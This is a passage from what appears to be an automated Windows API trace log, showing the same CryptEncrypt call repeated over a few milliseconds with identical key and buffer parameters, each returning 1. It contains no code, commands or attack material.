pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.806] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.807] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.808] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.809] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.809] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.809] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.810] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 